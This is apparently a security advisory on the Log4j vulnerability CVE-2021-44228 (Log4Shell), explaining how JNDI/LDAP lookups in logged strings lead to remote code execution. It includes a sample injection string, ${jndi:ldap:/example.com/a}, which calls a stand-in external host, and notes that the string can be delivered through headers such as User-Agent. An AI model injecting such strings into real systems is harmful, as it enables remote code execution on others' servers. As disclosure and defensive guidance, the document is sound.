Alert status HIGH

Background /What has happened?

Log4j, a prominent Java-based logging package, was found to have a vulnerability. An attacker can use this flaw to execute code on a remote server. Because Java and Log4j are so widely used, this is possibly one of the most significant Internet vulnerabilities since Heartbleed and ShellShock.

It may be possible for an attacker to gain the entire control of a vulnerable server. It can be used by an unauthenticated remote attacker to target applications that use the Log4j library in default setups.

Details:

CVE: CVE-2021-44228

CVSS: 10.0

Affected version: Log4j 2.0-beta9 up to 2.14.1

Is it Exploitable: Yes

An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From Log4j 2.15.0, this behavior has been disabled by default.

Exploitation can be achieved by a single string of text, which can trigger an application to reach out to a malicious external host if it is logged via the vulnerable instance of Log4j, effectively granting the adversary the ability to retrieve a payload from a remote server and execute it locally.

What is Log4j?

Log4j2 is an open-source, Java-based logging framework commonly incorporated into Apache web servers and spring-Boot web applications.Log4j is used as a logging package in a variety of different popular software by several manufacturers, including Amazon, Apple iCloud, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter, and video games such as Minecraft. 

What is Log4j?

• It’s required to know a little about JNDI (Java Naming and Directory Interface) to understand how that modification causes an issue.
• Since the late 1990s, JNDI has been a part of Java. It’s a directory service that lets a Java program search a directory for data (in the form of a Java object). JNDI supports several service provider interfaces (SPIs) that allow it to work with several different directory services.
• JNDI and LDAP can be used together by a Java program to locate a Java object that has data it requires. In the standard Java documentation, it uses an LDAP server to obtain characteristics from an object. It finds the JNDITutorial object from an LDAP server operating on the same computer (localhost) on port 389 and reads attributes from it using the URL ldap:/localhost:389/o=JNDITutorial.
• But in the case of Log4j, an attacker can control the LDAP URL by causing Log4j to try to write a string like ${jndi:ldap:/example.com/a}. If this occurs, Log4j will connect to the example.com LDAP server and retrieve the object.
• This occurs because Log4j has a specific syntax in the form $prefix:name, where prefix is one of several possible Lookups that should be evaluated when the name is evaluated. The current running version of Java, for example, is $java:version.
• “The JndiLookup allows variables to be obtained using JNDI,” according to LOG4J2-313, who also included a jndi Lookup. The key is prefixed by default with java:comp/env/, however if the key contains a “:,” no prefix is added.”
• With a : present in the key, as in ${jndi:ldap:/example.com/a} there’s no prefix and the LDAP server is queried for the object. And these Lookups can be utilized in both the Log4j configuration and the logging of lines.
• So all an attacker has to do is find some input that gets logged and add something like ${jndi:ldap:/example.com/a}. This could be a standard HTTP header, such as User-Agent (which is frequently logged), or a form parameter, such as username, which is also logged.
• This is probably quite prevalent in Log4j-based Java-based Internet-facing software. Even more devious is the fact that Java-based non-Internet software can be exploited when data is moved from system to system.
• The exploit might be logged by passing a User-Agent string containing the exploit to a Java backend system that does indexing or data science.
• As a consequence, it is critical that all Java-based software that uses Log4j version 2 be patched or mitigated as soon as possible. Even if the Internet-facing software is not built in Java, strings may be transmitted to Java-based systems, allowing the exploit to take place.

Impact:

This Log4j (CVE-2021-44228) vulnerability is extremely critical. Anybody using Apache frameworks services or any SpringBoot Java-based framework applications that uses log4j2 is likely to be vulnerable. Millions of applications use Log4j for logging, and all the attacker needs to do is get the app to log a special string.